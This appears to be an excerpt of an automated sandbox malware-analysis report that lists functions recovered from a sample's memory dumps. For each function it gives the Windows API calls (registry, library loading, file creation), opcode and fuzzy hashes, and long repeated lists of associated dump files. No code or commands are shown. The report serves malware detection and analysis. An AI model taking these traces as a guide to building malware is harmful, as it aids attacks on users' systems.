Opcode ID: 7d16936487a9306aa7f1cffd9fa777b207ed5df1b54463522fede65cc313bda8
Instruction ID: c0e974995eaf0ea688353006afb399bf9af5ca58b44ef638af1aa852824e588f
Opcode Fuzzy Hash: 7d16936487a9306aa7f1cffd9fa777b207ed5df1b54463522fede65cc313bda8
Instruction Fuzzy Hash: 28A0023538D18DD88112A3B9D1215387E70EC59784B76084793C6CA503EB85C04553BB

Function 00A82E09 Relevance: 4.6, APIs: 3, Instructions: 104
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 00A845D0
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00A845F7
GetNativeSystemInfo.KERNELBASE(?), ref: 00A8464E

Memory Dump Source

Source File: 00000009.00000002.1761422204.0000000000A7D000.00000040.00000001.01000000.00000006.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000009.00000002.1760740446.00000000008F0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760773784.00000000008F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760802269.00000000008F6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760857098.00000000008FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760895574.0000000000904000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760922928.0000000000905000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760947214.0000000000906000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761106528.0000000000A57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761155434.0000000000A5A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761219988.0000000000A72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761274318.0000000000A73000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761422204.0000000000A74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761689603.0000000000A87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761719592.0000000000A89000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761748122.0000000000A92000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761773881.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761821195.0000000000AAF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761865945.0000000000AC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761899379.0000000000ACE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761923918.0000000000AD2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761955852.0000000000AD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762027713.0000000000AD5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762125177.0000000000AE1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762179160.0000000000AEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762204403.0000000000AEB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762231949.0000000000AF0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762267436.0000000000AF1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762315114.0000000000AF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762387591.0000000000B07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762420126.0000000000B0A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762458980.0000000000B0B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762484044.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762525368.0000000000B1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762551739.0000000000B1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762583768.0000000000B1C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762611830.0000000000B23000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762743909.0000000000B32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762987429.0000000000B34000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763078945.0000000000B35000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763105713.0000000000B38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763184116.0000000000B41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763209611.0000000000B42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763250654.0000000000B7D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763273376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763298835.0000000000B7F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763298835.0000000000B87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763358357.0000000000B96000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763381851.0000000000B98000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8f0000_4830TYWIJQ5SCGDL2FZPZJN92URB.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: cd39eb8b783222e8a0daccff0d4bdded5cb91949272013c2bc39c4d0e9b388c6
Instruction ID: 7095d1b3ef4bbb67c8fef9cefe859c08b53de01bc021e8e1dcf75eb8dedb7d5f
Opcode Fuzzy Hash: cd39eb8b783222e8a0daccff0d4bdded5cb91949272013c2bc39c4d0e9b388c6
Instruction Fuzzy Hash: 1E4159B240820EDFDB10EF10C8486EF7BF4EF15725F11492AE98182951E7769DA4CF4A

Function 00A74DD2 Relevance: 1.6, APIs: 1, Instructions: 144
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00A74DD2

Memory Dump Source

Source File: 00000009.00000002.1761422204.0000000000A74000.00000040.00000001.01000000.00000006.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000009.00000002.1760740446.00000000008F0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760773784.00000000008F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760802269.00000000008F6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760857098.00000000008FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760895574.0000000000904000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760922928.0000000000905000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760947214.0000000000906000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761106528.0000000000A57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761155434.0000000000A5A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761219988.0000000000A72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761274318.0000000000A73000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761422204.0000000000A7D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761689603.0000000000A87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761719592.0000000000A89000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761748122.0000000000A92000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761773881.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761821195.0000000000AAF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761865945.0000000000AC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761899379.0000000000ACE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761923918.0000000000AD2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761955852.0000000000AD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762027713.0000000000AD5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762125177.0000000000AE1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762179160.0000000000AEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762204403.0000000000AEB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762231949.0000000000AF0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762267436.0000000000AF1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762315114.0000000000AF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762387591.0000000000B07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762420126.0000000000B0A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762458980.0000000000B0B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762484044.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762525368.0000000000B1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762551739.0000000000B1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762583768.0000000000B1C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762611830.0000000000B23000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762743909.0000000000B32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762987429.0000000000B34000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763078945.0000000000B35000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763105713.0000000000B38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763184116.0000000000B41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763209611.0000000000B42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763250654.0000000000B7D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763273376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763298835.0000000000B7F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763298835.0000000000B87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763358357.0000000000B96000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763381851.0000000000B98000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8f0000_4830TYWIJQ5SCGDL2FZPZJN92URB.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 33a712296530c51951a3255503261749e99efd5b252d3d1ff2602ee0e951e19c
Instruction ID: 8f025707df33bf3b17ec20264a38f6c2af2d272a8848e9c22ed0001271b85806
Opcode Fuzzy Hash: 33a712296530c51951a3255503261749e99efd5b252d3d1ff2602ee0e951e19c
Instruction Fuzzy Hash: 72419DB610C310AFD3056F59D985ABAFBF9FF89330F26482EE6C582601D77448408BA7

Function 00A787AA Relevance: 1.6, APIs: 1, Instructions: 136
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,E10E4E93,00000003,00000000), ref: 00A78836

Memory Dump Source

Source File: 00000009.00000002.1761422204.0000000000A74000.00000040.00000001.01000000.00000006.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000009.00000002.1760740446.00000000008F0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760773784.00000000008F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760802269.00000000008F6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760857098.00000000008FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760895574.0000000000904000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760922928.0000000000905000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760947214.0000000000906000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761106528.0000000000A57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761155434.0000000000A5A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761219988.0000000000A72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761274318.0000000000A73000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761422204.0000000000A7D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761689603.0000000000A87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761719592.0000000000A89000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761748122.0000000000A92000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761773881.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761821195.0000000000AAF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761865945.0000000000AC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761899379.0000000000ACE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761923918.0000000000AD2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761955852.0000000000AD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762027713.0000000000AD5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762125177.0000000000AE1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762179160.0000000000AEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762204403.0000000000AEB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762231949.0000000000AF0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762267436.0000000000AF1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762315114.0000000000AF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762387591.0000000000B07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762420126.0000000000B0A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762458980.0000000000B0B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762484044.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762525368.0000000000B1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762551739.0000000000B1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762583768.0000000000B1C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762611830.0000000000B23000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762743909.0000000000B32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762987429.0000000000B34000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763078945.0000000000B35000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763105713.0000000000B38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763184116.0000000000B41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763209611.0000000000B42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763250654.0000000000B7D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763273376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763298835.0000000000B7F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763298835.0000000000B87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763358357.0000000000B96000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763381851.0000000000B98000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8f0000_4830TYWIJQ5SCGDL2FZPZJN92URB.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d1234fe75b91024e315cdddf76edb9138582e4e0199d45942b267c70dcf0be42
Instruction ID: e9e8f5cb3daf82619d8020b5dd0251839b1a0a80cee7a96c5364126c67c763f5
Opcode Fuzzy Hash: d1234fe75b91024e315cdddf76edb9138582e4e0199d45942b267c70dcf0be42
Instruction Fuzzy Hash: FC3126B75CC2017DF3018A94AE58AFB377CE7923B0F71C42AF90AC7542EA980D055276

Function 00A78B4E Relevance: 1.6, APIs: 1, Instructions: 108
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00A78BE5

Memory Dump Source

Source File: 00000009.00000002.1761422204.0000000000A74000.00000040.00000001.01000000.00000006.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000009.00000002.1760740446.00000000008F0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760773784.00000000008F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760802269.00000000008F6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760857098.00000000008FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760895574.0000000000904000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760922928.0000000000905000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760947214.0000000000906000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761106528.0000000000A57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761155434.0000000000A5A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761219988.0000000000A72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761274318.0000000000A73000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761422204.0000000000A7D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761689603.0000000000A87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761719592.0000000000A89000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761748122.0000000000A92000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761773881.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761821195.0000000000AAF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761865945.0000000000AC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761899379.0000000000ACE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761923918.0000000000AD2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761955852.0000000000AD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762027713.0000000000AD5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762125177.0000000000AE1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762179160.0000000000AEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762204403.0000000000AEB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762231949.0000000000AF0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762267436.0000000000AF1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762315114.0000000000AF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762387591.0000000000B07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762420126.0000000000B0A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762458980.0000000000B0B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762484044.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762525368.0000000000B1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762551739.0000000000B1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762583768.0000000000B1C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762611830.0000000000B23000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762743909.0000000000B32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762987429.0000000000B34000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763078945.0000000000B35000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763105713.0000000000B38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763184116.0000000000B41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763209611.0000000000B42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763250654.0000000000B7D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763273376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763298835.0000000000B7F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763298835.0000000000B87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763358357.0000000000B96000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763381851.0000000000B98000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8f0000_4830TYWIJQ5SCGDL2FZPZJN92URB.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 629d112a22a14153dbadb57540c45986bd72082a120f11d3007aaf53c4897277
Instruction ID: cd3c8973bff09eb7479bc27df69fa1463717a44e0471e1dc95406c701a07f975
Opcode Fuzzy Hash: 629d112a22a14153dbadb57540c45986bd72082a120f11d3007aaf53c4897277
Instruction Fuzzy Hash: 2A3138B6288245AEE715DF549D19BFF37ADEB86370F35C829F904D3542D7A80D048628

Function 00A787D8 Relevance: 1.6, APIs: 1, Instructions: 105
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,E10E4E93,00000003,00000000), ref: 00A78836

Memory Dump Source

Source File: 00000009.00000002.1761422204.0000000000A74000.00000040.00000001.01000000.00000006.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000009.00000002.1760740446.00000000008F0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760773784.00000000008F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760802269.00000000008F6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760857098.00000000008FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760895574.0000000000904000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760922928.0000000000905000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760947214.0000000000906000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761106528.0000000000A57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761155434.0000000000A5A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761219988.0000000000A72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761274318.0000000000A73000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761422204.0000000000A7D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761689603.0000000000A87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761719592.0000000000A89000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761748122.0000000000A92000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761773881.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761821195.0000000000AAF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761865945.0000000000AC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761899379.0000000000ACE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761923918.0000000000AD2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761955852.0000000000AD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762027713.0000000000AD5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762125177.0000000000AE1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762179160.0000000000AEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762204403.0000000000AEB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762231949.0000000000AF0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762267436.0000000000AF1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762315114.0000000000AF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762387591.0000000000B07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762420126.0000000000B0A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762458980.0000000000B0B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762484044.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762525368.0000000000B1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762551739.0000000000B1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762583768.0000000000B1C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762611830.0000000000B23000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762743909.0000000000B32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762987429.0000000000B34000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763078945.0000000000B35000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763105713.0000000000B38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763184116.0000000000B41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763209611.0000000000B42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763250654.0000000000B7D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763273376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763298835.0000000000B7F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763298835.0000000000B87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763358357.0000000000B96000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763381851.0000000000B98000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8f0000_4830TYWIJQ5SCGDL2FZPZJN92URB.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9096f100f555de83959a2fca2fd094854ed960e6768eaae239320c102241199f
Instruction ID: 40b0dca6597cfb05ced9ee707e9a99e85406a65620221dcd0e9d0f8f20df54b5
